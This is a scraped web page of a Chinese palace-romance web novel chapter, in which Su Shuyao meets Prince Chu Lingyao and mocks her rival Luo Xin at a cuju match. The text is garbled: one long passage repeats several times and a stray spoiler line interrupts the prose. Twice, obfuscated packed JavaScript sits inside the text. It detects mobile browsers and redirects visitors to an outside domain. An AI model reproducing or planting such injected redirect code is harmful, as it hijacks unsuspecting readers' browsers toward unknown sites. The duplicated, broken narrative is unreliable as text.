一阵漫长的沉默之后，围布后传来一道很轻的“嗯”。 轻到要是不仔细，还会误以为是蹴鞠场上传来的喧哗。 苏舒窈抿嘴笑了笑，殿下好容易害羞。 “九殿下能否告诉我，冷如烟怎么会成为贵人？” 隔了一会儿，楚翎曜的声音恢复了正常：“冷如烟落水，当天歇在了皇宫，被皇帝临幸了。” 苏舒窈又问：“她怎么落水的？好端端的，怎么会落水？” 楚翎曜：“醉酒失足，正好撞到坏掉的栏栅上。” 苏舒窈懂了，这是被人陷害了：“谁陷害的她？” 楚翎曜再次沉默。 苏舒窈低下头，开始自顾自分析：“良妃肯定不可能，良妃是冷如烟姑母，她入宫除了见良妃，再有就是见容妃，皇后见不了，其他妃嫔无缘无故的也不可能见她。” “九殿下，是容妃设计让她落水的是不是？容妃不喜欢冷如烟。” “你将我藏起来，也是担心我被容妃伤害？” 楚翎曜：“.” 她好聪明。 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 稍微透露一点信息，她就什么都知道了。 “九殿下，我猜得对不对？”苏舒窈觉得自己真相了。 这样看来，容妃性格应该是有点问题，她如果不喜欢冷如烟，大可以采取其他方式，偏偏要选择将冷如烟毁掉。 冷如烟现在成了贵人，说不定已经和容妃对上了。 苏舒窈正在思忖，忽然，身后一阵细微的风刮过，楚翎曜走了出来。 “殿下。” 他一进来，外面的风也停了，凉棚前的薄纱服帖地将入口包裹起来，密不透风。 几日未见，九殿下似乎更好看了，玉带束腰衬得肩宽腰窄，身姿如劲松。 他一出现，苏舒窈便下意识想靠近。 “坐好。”楚翎曜淡然地命令。 苏舒窈重新坐了回去。 “不准转头。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360178|183653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚翎曜从身后靠近，苏舒窈感觉巨大的阴影落在头顶，她几乎要被阴影吞噬。 楚翎曜走到苏舒窈身后，鼻翼微动。 “你迫不及待想见本王，是因为你**了。” 楚翎曜的口吻很是笃定，带着一股审判者不容拒绝口气：“你杀了人，来求本王帮你处理尸体？” 苏舒窈有些哭笑不得，她来见他，难道不是因为思念？ 为什么会觉得她**了，要他埋尸？ 暧昧的隐秘关系忽然变成了违法关系。 苏舒窈仔细一想，瞬间反应过来，她身上有血腥味儿，殿下误会了。 苏舒窈耳根一热，正要开口解释，忽然，秋霜的声音响起。 “大小姐，骆姑娘来了。” 秋霜话音刚落，楚翎曜一个闪身，便消失无影踪。 搭在椅背上的指尖條然变白，指腹被压出一团艳红的血色，苏舒窈很生气。 “把她赶走。” 骆心却自行撩开帘子走了进来：“舒窈姐姐，果然是你，你怎么来了？” “舒窈姐姐不是和元祖表哥退婚了吗？现在过来，又是怎么个事儿？” 苏舒窈敛了敛长睫。 这人真讨厌啊。 苏舒窈端起茶盏，青花瓷盖拂去水面茶沫，浅浅地喝了口。 再次抬头，眼中神色锐利：“怎么？这里你包场了，我不能来？” 骆心看了一眼蹴鞠场上元祖的身影，手指捏着帕子，柔声道：“姐姐当然能来，我只是提醒姐姐一句，姐姐已经和表哥退婚，便要注意一点交往的分寸。” “姐姐别多心，妹妹也是在为姐姐着想，这未出嫁的姑娘，要守女德，德行有亏，恐怕嫁不出去啊。” 第160章 气味 骆心甩着帕子，眼神里带了三分挑衅，“姐姐可别嫌我多事。” 秋水上前一步骂道：“骆姑娘，你不守着你家表哥，跑来我们家姑娘面前狗叫什么？” “什么注意分寸？你有脸在我家小姐面前说这个？上次见你，你都快贴到元公子怀里了！” 秋水嘴皮子利索，擅长换着花样骂人： “我们家大小姐秀外慧中，肯定嫁得好，倒是你，牙尖嘴利，长得跟个狐狸样，一看就是当妾的料！” “快守着你家表哥去吧，就怕去迟了，当妾都轮不到你了！” 骆心眼眶一红，柔柔地扶上了支撑凉棚的柱子：“舒窈姐姐，你家婢女好生厉害，你，你就看着你的婢女欺辱于我？” 秋水叉着腰骂道：“骆姑娘，你在这里哭哭啼啼，又想把你的狗表哥召来是不是？” 骆心惯会这一招，每次都是她主动招惹，说着说着便红了眼眶，元祖看到骆心流泪，不分青红皂白又要责难苏舒窈。 秋水不仅骂人，还要上前把骆心扯走，苏舒窈抬眼看向秋水，示意她停一停。 九殿下可是听着呢，她原本就要找九殿下告状，现在骆心撞上来，岂不是正好。 “骆姑娘，明明就是你和元公子欺负我，那天在元府，我过来退亲，你还怂恿元公子打我，我当时好害怕.” 苏舒窈抿着唇，装出一副委屈的模样。 扮柔弱，她也会。 只不过她的口气有点像是在撒娇。 她在对着九殿下撒娇。 她在告诉九殿下，她被欺负了，要九殿下帮她出气。 骆心双手捂着胸口：“舒窈姐姐，你误会了，那天我一直在劝表兄不要对舒窈姐姐动粗，奈何表哥一意孤行。” “我说句公道话，那天舒窈姐姐太过分了，表哥是个男子，怎么能忍受。” “尽管表哥那么生气，舒窈姐姐也是毫发无损啊。” 苏舒窈捂着胸口，回头看了眼身后：“可是，我被吓坏了啊。” 骆心上前行了个礼：“那我代表哥给舒窈姐姐赔个不是。还请舒窈姐姐不要放在心上。” 苏舒窈轻笑出声：“你是个什么东西，凭什么代替元公子向我赔礼？” “舒窈姐姐的意思，是要表哥亲自赔礼道歉？就怕是找借口缠着表哥罢了。” 骆心嘟了嘟嘴。 原本表哥上一局踢完就要离开，听说苏舒窈来了，还要再踢一局。 苏舒窈是狐狸精变的吗，都退婚了， 还要来勾着表哥不放。 “早知如此，舒窈姐姐当初为何要退婚？舒窈姐姐看着单纯，实际好重的心思。” 苏舒窈放下手中茶盏，浅浅一笑：“骆姑娘，你误会了，不是谁都把牛屎当宝贝的。” 秋霜秋水低头笑出声来。 骆心一张脸涨得通红：“苏舒窈，你说什么呢？那你来干什么？少在我面前装，像你这样缠着表哥不放的女子我见多了！” 苏舒窈眼中出现一抹玩味：“我听说你表哥肢体不协调，走路都不稳，好奇来看看，一个走路都不会的人，怎么蹴鞠？” 骆心鼻子里哼哼：“表哥那么厉害，刚刚连赢两分，舒窈姐姐眼瘸了吧？” 骆心话还没说完，场上元祖就摔了个狗啃屎。 苏舒窈笑道：“骆姑娘快看，你表哥摔了。他摔跤的样子却是很厉害，大家都站着，就他一个人趴着。” 骆心皱了皱眉心：“怎么会？” 她抬头一看，元祖刚好从地上爬起来。 “比赛激烈，摔跤不可避免。” 她话音刚落，元祖又摔了一跤。 元祖站起来走了没几步，又又又摔了。 元祖也不知道怎么回事，要么被草绊倒，要么膝窝被不知道哪里来的小石头击中，竟然连续摔了好几下。 苏舒窈掰着手指细数：“骆姑娘，你的表哥摔了七八次了，是不是脑子没长好啊。” 骆心终于崩不住了，指着人骂道：“苏舒窈，你——” 她抬头，元祖正好跳起来接球。 骆心拍手叫好：“哎呀，表哥接到球了，表哥好厉害！” 下一秒，球转了个方向，“啪”的一下，砸到了元祖脸上。 元祖连人带球，一起摔到了地上。 苏舒窈拍起手来：“好厉害啊，用脸接球，真是前无古人后无来者！” “骆姑娘，快去看看你表哥吧，脸被球砸扁了。” 秋水也跟着起哄：“骆姑娘，你还不快去？待会儿走慢了，你的牛屎表哥被别的女子给抢走了。” 骆心甩了下帕子，跺跺脚离开了。 骆心离开后，苏舒窈又把秋霜和秋水叫了出去：“出去守着，不准让人进来。” “是，大小姐。” 丫鬟们刚出去，楚翎曜再次出现。 “你杀了人。” 楚翎曜再次从身后靠近，“刚刚那个女的，如果你想杀，本王一起处理。” 阴冷残酷的镇抚司都督，**从他嘴里说出来，跟吃饭喝水一样简单。 苏舒窈低着头，耳根像是被火烧红了，“殿下，我没**，我也不想杀骆心。” 骆心留着还有用呢，骆心是她送给苏明珠的大礼。 有了骆心，苏明珠的婚后生活定然会更加多姿多彩。 “没**，你身上的血腥气是哪里来的？”楚翎曜再次动了动鼻翼。 血腥气将好闻的兰花香气冲淡，楚翎曜下意识皱了皱眉。 苏舒窈难得露出两分女儿娇羞：“殿下，我没**，你别问了。” 楚翎曜越靠越近：“尸体要尽快处理，虽然天凉，但是放久了还是会有异味.” 苏舒窈打断道：“殿下，你闻到的，是葵水的气味。” “.” 沉默之后，周围的空气瞬间冰冻。 在大夏的传统观念中，“葵水”被视为女子的“私密”，更是被视为不洁，就连对夫君，也不能直白描述。 男子主动问起，会被指责“轻薄”、“无礼”。 女子主动提起，则是“不知羞耻”。 楚翎曜本该屏住呼吸，却忍不住深吸了一口气。 还要来勾着表哥不放。 “早知如此，舒窈姐姐当初为何要退婚？舒窈姐姐看着单纯，实际好重的心思。” 苏舒窈放下手中茶盏，浅浅一笑：“骆姑娘，你误会了，不是谁都把牛屎当宝贝的。” 秋霜秋水低头笑出声来。 骆心一张脸涨得通红：“苏舒窈，你说什么呢？那你来干什么？少在我面前装，像你这样缠着表哥不放的女子我见多了！” 苏舒窈眼中出现一抹玩味：“我听说你表哥肢体不协调，走路都不稳，好奇来看看，一个走路都不会的人，怎么蹴鞠？” 骆心鼻子里哼哼：“表哥那么厉害，刚刚连赢两分，舒窈姐姐眼瘸了吧？” 骆心话还没说完，场上元祖就摔了个狗啃屎。 苏舒窈笑道：“骆姑娘快看，你表哥摔了。他摔跤的样子却是很厉害，大家都站着，就他一个人趴着。” 骆心皱了皱眉心：“怎么会？” 她抬头一看，元祖刚好从地上爬起来。 “比赛激烈，摔跤不可避免。” 她话音刚落，元祖又摔了一跤。 元祖站起来走了没几步，又又又摔了。 元祖也不知道怎么回事，要么被草绊倒，要么膝窝被不知道哪里来的小石头击中，竟然连续摔了好几下。 苏舒窈掰着手指细数：“骆姑娘，你的表哥摔了七八次了，是不是脑子没长好啊。” 骆心终于崩不住了，指着人骂道：“苏舒窈，你——” 她抬头，元祖正好跳起来接球。 骆心拍手叫好：“哎呀，表哥接到球了，表哥好厉害！” 下一秒，球转了个方向，“啪”的一下，砸到了元祖脸上。 元祖连人带球，一起摔到了地上。 苏舒窈拍起手来：“好厉害啊，用脸接球，真是前无古人后无来者！” “骆姑娘，快去看看你表哥吧，脸被球砸扁了。” 秋水也跟着起哄：“骆姑娘，你还不快去？待会儿走慢了，你的牛屎表哥被别的女子给抢走了。” 骆心甩了下帕子，跺跺脚离开了。 骆心离开后，苏舒窈又把秋霜和秋水叫了出去：“出去守着，不准让人进来。” “是，大小姐。” 丫鬟们刚出去，楚翎曜再次出现。 “你杀了人。” 楚翎曜再次从身后靠近，“刚刚那个女的，如果你想杀，本王一起处理。” 阴冷残酷的镇抚司都督，**从他嘴里说出来，跟吃饭喝水一样简单。 苏舒窈低着头，耳根像是被火烧红了，“殿下，我没**，我也不想杀骆心。” 骆心留着还有用呢，骆心是她送给苏明珠的大礼。 有了骆心，苏明珠的婚后生活定然会更加多姿多彩。 “没**，你身上的血腥气是哪里来的？”楚翎曜再次动了动鼻翼。 血腥气将好闻的兰花香气冲淡，楚翎曜下意识皱了皱眉。 苏舒窈难得露出两分女儿娇羞：“殿下，我没**，你别问了。” 楚翎曜越靠越近：“尸体要尽快处理，虽然天凉，但是放久了还是会有异味.” 苏舒窈打断道：“殿下，你闻到的，是葵水的气味。” “.” 沉默之后，周围的空气瞬间冰冻。 在大夏的传统观念中，“葵水”被视为女子的“私密”，更是被视为不洁，就连对夫君，也不能直白描述。 男子主动问起，会被指责“轻薄”、“无礼”。 女子主动提起，则是“不知羞耻”。 楚翎曜本该屏住呼吸，却忍不住深吸了一口气。 还要来勾着表哥不放。 “早知如此，舒窈姐姐当初为何要退婚？舒窈姐姐看着单纯，实际好重的心思。” 苏舒窈放下手中茶盏，浅浅一笑：“骆姑娘，你误会了，不是谁都把牛屎当宝贝的。” 秋霜秋水低头笑出声来。 骆心一张脸涨得通红：“苏舒窈，你说什么呢？那你来干什么？少在我面前装，像你这样缠着表哥不放的女子我见多了！” 苏舒窈眼中出现一抹玩味：“我听说你表哥肢体不协调，走路都不稳，好奇来看看，一个走路都不会的人，怎么蹴鞠？” 骆心鼻子里哼哼：“表哥那么厉害，刚刚连赢两分，舒窈姐姐眼瘸了吧？” 骆心话还没说完，场上元祖就摔了个狗啃屎。 苏舒窈笑道：“骆姑娘快看，你表哥摔了。他摔跤的样子却是很厉害，大家都站着，就他一个人趴着。” 骆心皱了皱眉心：“怎么会？” 她抬头一看，元祖刚好从地上爬起来。 “比赛激烈，摔跤不可避免。” 她话音刚落，元祖又摔了一跤。 元祖站起来走了没几步，又又又摔了。 元祖也不知道怎么回事，要么被草绊倒，要么膝窝被不知道哪里来的小石头击中，竟然连续摔了好几下。 苏舒窈掰着手指细数：“骆姑娘，你的表哥摔了七八次了，是不是脑子没长好啊。” 骆心终于崩不住了，指着人骂道：“苏舒窈，你——” 她抬头，元祖正好跳起来接球。 骆心拍手叫好：“哎呀，表哥接到球了，表哥好厉害！” 下一秒，球转了个方向，“啪”的一下，砸到了元祖脸上。 元祖连人带球，一起摔到了地上。 苏舒窈拍起手来：“好厉害啊，用脸接球，真是前无古人后无来者！” “骆姑娘，快去看看你表哥吧，脸被球砸扁了。” 秋水也跟着起哄：“骆姑娘，你还不快去？待会儿走慢了，你的牛屎表哥被别的女子给抢走了。” 骆心甩了下帕子，跺跺脚离开了。 骆心离开后，苏舒窈又把秋霜和秋水叫了出去：“出去守着，不准让人进来。” “是，大小姐。” 丫鬟们刚出去，楚翎曜再次出现。 “你杀了人。” 楚翎曜再次从身后靠近，“刚刚那个女的，如果你想杀，本王一起处理。” 阴冷残酷的镇抚司都督，**从他嘴里说出来，跟吃饭喝水一样简单。 苏舒窈低着头，耳根像是被火烧红了，“殿下，我没**，我也不想杀骆心。” 骆心留着还有用呢，骆心是她送给苏明珠的大礼。 有了骆心，苏明珠的婚后生活定然会更加多姿多彩。 “没**，你身上的血腥气是哪里来的？”楚翎曜再次动了动鼻翼。 血腥气将好闻的兰花香气冲淡，楚翎曜下意识皱了皱眉。 苏舒窈难得露出两分女儿娇羞：“殿下，我没**，你别问了。” 楚翎曜越靠越近：“尸体要尽快处理，虽然天凉，但是放久了还是会有异味.” 苏舒窈打断道：“殿下，你闻到的，是葵水的气味。” “.” 沉默之后，周围的空气瞬间冰冻。 在大夏的传统观念中，“葵水”被视为女子的“私密”，更是被视为不洁，就连对夫君，也不能直白描述。 男子主动问起，会被指责“轻薄”、“无礼”。 女子主动提起，则是“不知羞耻”。 楚翎曜本该屏住呼吸，却忍不住深吸了一口气。 还要来勾着表哥不放。 “早知如此，舒窈姐姐当初为何要退婚？舒窈姐姐看着单纯，实际好重的心思。” 苏舒窈放下手中茶盏，浅浅一笑：“骆姑娘，你误会了，不是谁都把牛屎当宝贝的。” 秋霜秋水低头笑出声来。 骆心一张脸涨得通红：“苏舒窈，你说什么呢？那你来干什么？少在我面前装，像你这样缠着表哥不放的女子我见多了！” 苏舒窈眼中出现一抹玩味：“我听说你表哥肢体不协调，走路都不稳，好奇来看看，一个走路都不会的人，怎么蹴鞠？” 骆心鼻子里哼哼：“表哥那么厉害，刚刚连赢两分，舒窈姐姐眼瘸了吧？” 骆心话还没说完，场上元祖就摔了个狗啃屎。 苏舒窈笑道：“骆姑娘快看，你表哥摔了。他摔跤的样子却是很厉害，大家都站着，就他一个人趴着。” 骆心皱了皱眉心：“怎么会？” 她抬头一看，元祖刚好从地上爬起来。 “比赛激烈，摔跤不可避免。” 她话音刚落，元祖又摔了一跤。 元祖站起来走了没几步，又又又摔了。 元祖也不知道怎么回事，要么被草绊倒，要么膝窝被不知道哪里来的小石头击中，竟然连续摔了好几下。 苏舒窈掰着手指细数：“骆姑娘，你的表哥摔了七八次了，是不是脑子没长好啊。” 骆心终于崩不住了，指着人骂道：“苏舒窈，你——” 她抬头，元祖正好跳起来接球。 骆心拍手叫好：“哎呀，表哥接到球了，表哥好厉害！” 下一秒，球转了个方向，“啪”的一下，砸到了元祖脸上。 元祖连人带球，一起摔到了地上。 苏舒窈拍起手来：“好厉害啊，用脸接球，真是前无古人后无来者！” “骆姑娘，快去看看你表哥吧，脸被球砸扁了。” 秋水也跟着起哄：“骆姑娘，你还不快去？待会儿走慢了，你的牛屎表哥被别的女子给抢走了。” 骆心甩了下帕子，跺跺脚离开了。 骆心离开后，苏舒窈又把秋霜和秋水叫了出去：“出去守着，不准让人进来。” “是，大小姐。” 丫鬟们刚出去，楚翎曜再次出现。 “你杀了人。” 楚翎曜再次从身后靠近，“刚刚那个女的，如果你想杀，本王一起处理。” 阴冷残酷的镇抚司都督，**从他嘴里说出来，跟吃饭喝水一样简单。 苏舒窈低着头，耳根像是被火烧红了，“殿下，我没**，我也不想杀骆心。” 骆心留着还有用呢，骆心是她送给苏明珠的大礼。 有了骆心，苏明珠的婚后生活定然会更加多姿多彩。 “没**，你身上的血腥气是哪里来的？”楚翎曜再次动了动鼻翼。 血腥气将好闻的兰花香气冲淡，楚翎曜下意识皱了皱眉。 苏舒窈难得露出两分女儿娇羞：“殿下，我没**，你别问了。” 楚翎曜越靠越近：“尸体要尽快处理，虽然天凉，但是放久了还是会有异味.” 苏舒窈打断道：“殿下，你闻到的，是葵水的气味。” “.” 沉默之后，周围的空气瞬间冰冻。 在大夏的传统观念中，“葵水”被视为女子的“私密”，更是被视为不洁，就连对夫君，也不能直白描述。 男子主动问起，会被指责“轻薄”、“无礼”。 女子主动提起，则是“不知羞耻”。 楚翎曜本该屏住呼吸，却忍不住深吸了一口气。 还要来勾着表哥不放。 “早知如此，舒窈姐姐当初为何要退婚？舒窈姐姐看着单纯，实际好重的心思。” 苏舒窈放下手中茶盏，浅浅一笑：“骆姑娘，你误会了，不是谁都把牛屎当宝贝的。” 秋霜秋水低头笑出声来。 骆心一张脸涨得通红：“苏舒窈，你说什么呢？那你来干什么？少在我面前装，像你这样缠着表哥不放的女子我见多了！” 苏舒窈眼中出现一抹玩味：“我听说你表哥肢体不协调，走路都不稳，好奇来看看，一个走路都不会的人，怎么蹴鞠？” 骆心鼻子里哼哼：“表哥那么厉害，刚刚连赢两分，舒窈姐姐眼瘸了吧？” 骆心话还没说完，场上元祖就摔了个狗啃屎。 苏舒窈笑道：“骆姑娘快看，你表哥摔了。他摔跤的样子却是很厉害，大家都站着，就他一个人趴着。” 骆心皱了皱眉心：“怎么会？” 她抬头一看，元祖刚好从地上爬起来。 “比赛激烈，摔跤不可避免。” 她话音刚落，元祖又摔了一跤。 元祖站起来走了没几步，又又又摔了。 元祖也不知道怎么回事，要么被草绊倒，要么膝窝被不知道哪里来的小石头击中，竟然连续摔了好几下。 苏舒窈掰着手指细数：“骆姑娘，你的表哥摔了七八次了，是不是脑子没长好啊。” 骆心终于崩不住了，指着人骂道：“苏舒窈，你——” 她抬头，元祖正好跳起来接球。 骆心拍手叫好：“哎呀，表哥接到球了，表哥好厉害！” 下一秒，球转了个方向，“啪”的一下，砸到了元祖脸上。 元祖连人带球，一起摔到了地上。 苏舒窈拍起手来：“好厉害啊，用脸接球，真是前无古人后无来者！” “骆姑娘，快去看看你表哥吧，脸被球砸扁了。” 秋水也跟着起哄：“骆姑娘，你还不快去？待会儿走慢了，你的牛屎表哥被别的女子给抢走了。” 骆心甩了下帕子，跺跺脚离开了。 骆心离开后，苏舒窈又把秋霜和秋水叫了出去：“出去守着，不准让人进来。” “是，大小姐。” 丫鬟们刚出去，楚翎曜再次出现。 “你杀了人。” 楚翎曜再次从身后靠近，“刚刚那个女的，如果你想杀，本王一起处理。” 阴冷残酷的镇抚司都督，**从他嘴里说出来，跟吃饭喝水一样简单。 苏舒窈低着头，耳根像是被火烧红了，“殿下，我没**，我也不想杀骆心。” 骆心留着还有用呢，骆心是她送给苏明珠的大礼。 有了骆心，苏明珠的婚后生活定然会更加多姿多彩。 “没**，你身上的血腥气是哪里来的？”楚翎曜再次动了动鼻翼。 血腥气将好闻的兰花香气冲淡，楚翎曜下意识皱了皱眉。 苏舒窈难得露出两分女儿娇羞：“殿下，我没**，你别问了。” 楚翎曜越靠越近：“尸体要尽快处理，虽然天凉，但是放久了还是会有异味.” 苏舒窈打断道：“殿下，你闻到的，是葵水的气味。” “.” 沉默之后，周围的空气瞬间冰冻。 在大夏的传统观念中，“葵水”被视为女子的“私密”，更是被视为不洁，就连对夫君，也不能直白描述。 男子主动问起，会被指责“轻薄”、“无礼”。 女子主动提起，则是“不知羞耻”。 楚翎曜本该屏住呼吸，却忍不住深吸了一口气。 还要来勾着表哥不放。 “早知如此，舒窈姐姐当初为何要退婚？舒窈姐姐看着单纯，实际好重的心思。” 苏舒窈放下手中茶盏，浅浅一笑：“骆姑娘，你误会了，不是谁都把牛屎当宝贝的。” 秋霜秋水低头笑出声来。 骆心一张脸涨得通红：“苏舒窈，你说什么呢？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360179|183653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那你来干什么？少在我面前装，像你这样缠着表哥不放的女子我见多了！” 苏舒窈眼中出现一抹玩味：“我听说你表哥肢体不协调，走路都不稳，好奇来看看，一个走路都不会的人，怎么蹴鞠？” 骆心鼻子里哼哼：“表哥那么厉害，刚刚连赢两分，舒窈姐姐眼瘸了吧？” 骆心话还没说完，场上元祖就摔了个狗啃屎。 苏舒窈笑道：“骆姑娘快看，你表哥摔了。他摔跤的样子却是很厉害，大家都站着，就他一个人趴着。” 骆心皱了皱眉心：“怎么会？” 她抬头一看，元祖刚好从地上爬起来。 “比赛激烈，摔跤不可避免。” 她话音刚落，元祖又摔了一跤。 元祖站起来走了没几步，又又又摔了。 元祖也不知道怎么回事，要么被草绊倒，要么膝窝被不知道哪里来的小石头击中，竟然连续摔了好几下。 苏舒窈掰着手指细数：“骆姑娘，你的表哥摔了七八次了，是不是脑子没长好啊。” 骆心终于崩不住了，指着人骂道：“苏舒窈，你——” 她抬头，元祖正好跳起来接球。 骆心拍手叫好：“哎呀，表哥接到球了，表哥好厉害！” 下一秒，球转了个方向，“啪”的一下，砸到了元祖脸上。 元祖连人带球，一起摔到了地上。 苏舒窈拍起手来：“好厉害啊，用脸接球，真是前无古人后无来者！” “骆姑娘，快去看看你表哥吧，脸被球砸扁了。” 秋水也跟着起哄：“骆姑娘，你还不快去？待会儿走慢了，你的牛屎表哥被别的女子给抢走了。” 骆心甩了下帕子，跺跺脚离开了。 骆心离开后，苏舒窈又把秋霜和秋水叫了出去：“出去守着，不准让人进来。” “是，大小姐。” 丫鬟们刚出去，楚翎曜再次出现。 “你杀了人。” 楚翎曜再次从身后靠近，“刚刚那个女的，如果你想杀，本王一起处理。” 阴冷残酷的镇抚司都督，**从他嘴里说出来，跟吃饭喝水一样简单。 苏舒窈低着头，耳根像是被火烧红了，“殿下，我没**，我也不想杀骆心。” 骆心留着还有用呢，骆心是她送给苏明珠的大礼。 有了骆心，苏明珠的婚后生活定然会更加多姿多彩。 “没**，你身上的血腥气是哪里来的？”楚翎曜再次动了动鼻翼。 血腥气将好闻的兰花香气冲淡，楚翎曜下意识皱了皱眉。 苏舒窈难得露出两分女儿娇羞：“殿下，我没**，你别问了。” 楚翎曜越靠越近：“尸体要尽快处理，虽然天凉，但是放久了还是会有异味.” 苏舒窈打断道：“殿下，你闻到的，是葵水的气味。” “.” 沉默之后，周围的空气瞬间冰冻。 在大夏的传统观念中，“葵水”被视为女子的“私密”，更是被视为不洁，就连对夫君，也不能直白描述。 男子主动问起，会被指责“轻薄”、“无礼”。 女子主动提起，则是“不知羞耻”。 楚翎曜本该屏住呼吸，却忍不住深吸了一口气。 还要来勾着表哥不放。 “早知如此，舒窈姐姐当初为何要退婚？舒窈姐姐看着单纯，实际好重的心思。” 苏舒窈放下手中茶盏，浅浅一笑：“骆姑娘，你误会了，不是谁都把牛屎当宝贝的。” 秋霜秋水低头笑出声来。 骆心一张脸涨得通红：“苏舒窈，你说什么呢？那你来干什么？少在我面前装，像你这样缠着表哥不放的女子我见多了！” 苏舒窈眼中出现一抹玩味：“我听说你表哥肢体不协调，走路都不稳，好奇来看看，一个走路都不会的人，怎么蹴鞠？” 骆心鼻子里哼哼：“表哥那么厉害，刚刚连赢两分，舒窈姐姐眼瘸了吧？” 骆心话还没说完，场上元祖就摔了个狗啃屎。 苏舒窈笑道：“骆姑娘快看，你表哥摔了。他摔跤的样子却是很厉害，大家都站着，就他一个人趴着。” 骆心皱了皱眉心：“怎么会？” 她抬头一看，元祖刚好从地上爬起来。 “比赛激烈，摔跤不可避免。” 她话音刚落，元祖又摔了一跤。 元祖站起来走了没几步，又又又摔了。 元祖也不知道怎么回事，要么被草绊倒，要么膝窝被不知道哪里来的小石头击中，竟然连续摔了好几下。 苏舒窈掰着手指细数：“骆姑娘，你的表哥摔了七八次了，是不是脑子没长好啊。” 骆心终于崩不住了，指着人骂道：“苏舒窈，你——” 她抬头，元祖正好跳起来接球。 骆心拍手叫好：“哎呀，表哥接到球了，表哥好厉害！” 下一秒，球转了个方向，“啪”的一下，砸到了元祖脸上。 元祖连人带球，一起摔到了地上。 苏舒窈拍起手来：“好厉害啊，用脸接球，真是前无古人后无来者！” “骆姑娘，快去看看你表哥吧，脸被球砸扁了。” 秋水也跟着起哄：“骆姑娘，你还不快去？待会儿走慢了，你的牛屎表哥被别的女子给抢走了。” 骆心甩了下帕子，跺跺脚离开了。 骆心离开后，苏舒窈又把秋霜和秋水叫了出去：“出去守着，不准让人进来。” “是，大小姐。” 丫鬟们刚出去，楚翎曜再次出现。 “你杀了人。” 楚翎曜再次从身后靠近，“刚刚那个女的，如果你想杀，本王一起处理。” 阴冷残酷的镇抚司都督，**从他嘴里说出来，跟吃饭喝水一样简单。 苏舒窈低着头，耳根像是被火烧红了，“殿下，我没**，我也不想杀骆心。” 骆心留着还有用呢，骆心是她送给苏明珠的大礼。 有了骆心，苏明珠的婚后生活定然会更加多姿多彩。 “没**，你身上的血腥气是哪里来的？”楚翎曜再次动了动鼻翼。 血腥气将好闻的兰花香气冲淡，楚翎曜下意识皱了皱眉。 苏舒窈难得露出两分女儿娇羞：“殿下，我没**，你别问了。” 楚翎曜越靠越近：“尸体要尽快处理，虽然天凉，但是放久了还是会有异味.” 苏舒窈打断道：“殿下，你闻到的，是葵水的气味。” “.” 沉默之后，周围的空气瞬间冰冻。 在大夏的传统观念中，“葵水”被视为女子的“私密”，更是被视为不洁，就连对夫君，也不能直白描述。 男子主动问起，会被指责“轻薄”、“无礼”。 女子主动提起，则是“不知羞耻”。 楚翎曜本该屏住呼吸，却忍不住深吸了一口气。 还要来勾着表哥不放。 “早知如此，舒窈姐姐当初为何要退婚？舒窈姐姐看着单纯，实际好重的心思。” 苏舒窈放下手中茶盏，浅浅一笑：“骆姑娘，你误会了，不是谁都把牛屎当宝贝的。” 秋霜秋水低头笑出声来。 骆心一张脸涨得通红：“苏舒窈，你说什么呢？那你来干什么？少在我面前装，像你这样缠着表哥不放的女子我见多了！” 苏舒窈眼中出现一抹玩味：“我听说你表哥肢体不协调，走路都不稳，好奇来看看，一个走路都不会的人，怎么蹴鞠？” 骆心鼻子里哼哼：“表哥那么厉害，刚刚连赢两分，舒窈姐姐眼瘸了吧？” 骆心话还没说完，场上元祖就摔了个狗啃屎。 苏舒窈笑道：“骆姑娘快看，你表哥摔了。他摔跤的样子却是很厉害，大家都站着，就他一个人趴着。” 骆心皱了皱眉心：“怎么会？” 她抬头一看，元祖刚好从地上爬起来。 “比赛激烈，摔跤不可避免。” 她话音刚落，元祖又摔了一跤。 元祖站起来走了没几步，又又又摔了。 元祖也不知道怎么回事，要么被草绊倒，要么膝窝被不知道哪里来的小石头击中，竟然连续摔了好几下。 苏舒窈掰着手指细数：“骆姑娘，你的表哥摔了七八次了，是不是脑子没长好啊。” 骆心终于崩不住了，指着人骂道：“苏舒窈，你——” 她抬头，元祖正好跳起来接球。 骆心拍手叫好：“哎呀，表哥接到球了，表哥好厉害！” 下一秒，球转了个方向，“啪”的一下，砸到了元祖脸上。 元祖连人带球，一起摔到了地上。 苏舒窈拍起手来：“好厉害啊，用脸接球，真是前无古人后无来者！” “骆姑娘，快去看看你表哥吧，脸被球砸扁了。” 秋水也跟着起哄：“骆姑娘，你还不快去？待会儿走慢了，你的牛屎表哥被别的女子给抢走了。” 骆心甩了下帕子，跺跺脚离开了。 骆心离开后，苏舒窈又把秋霜和秋水叫了出去：“出去守着，不准让人进来。” “是，大小姐。” 丫鬟们刚出去，楚翎曜再次出现。 “你杀了人。” 楚翎曜再次从身后靠近，“刚刚那个女的，如果你想杀，本王一起处理。” 阴冷残酷的镇抚司都督，**从他嘴里说出来，跟吃饭喝水一样简单。 苏舒窈低着头，耳根像是被火烧红了，“殿下，我没**，我也不想杀骆心。” 骆心留着还有用呢，骆心是她送给苏明珠的大礼。 有了骆心，苏明珠的婚后生活定然会更加多姿多彩。 “没**，你身上的血腥气是哪里来的？”楚翎曜再次动了动鼻翼。 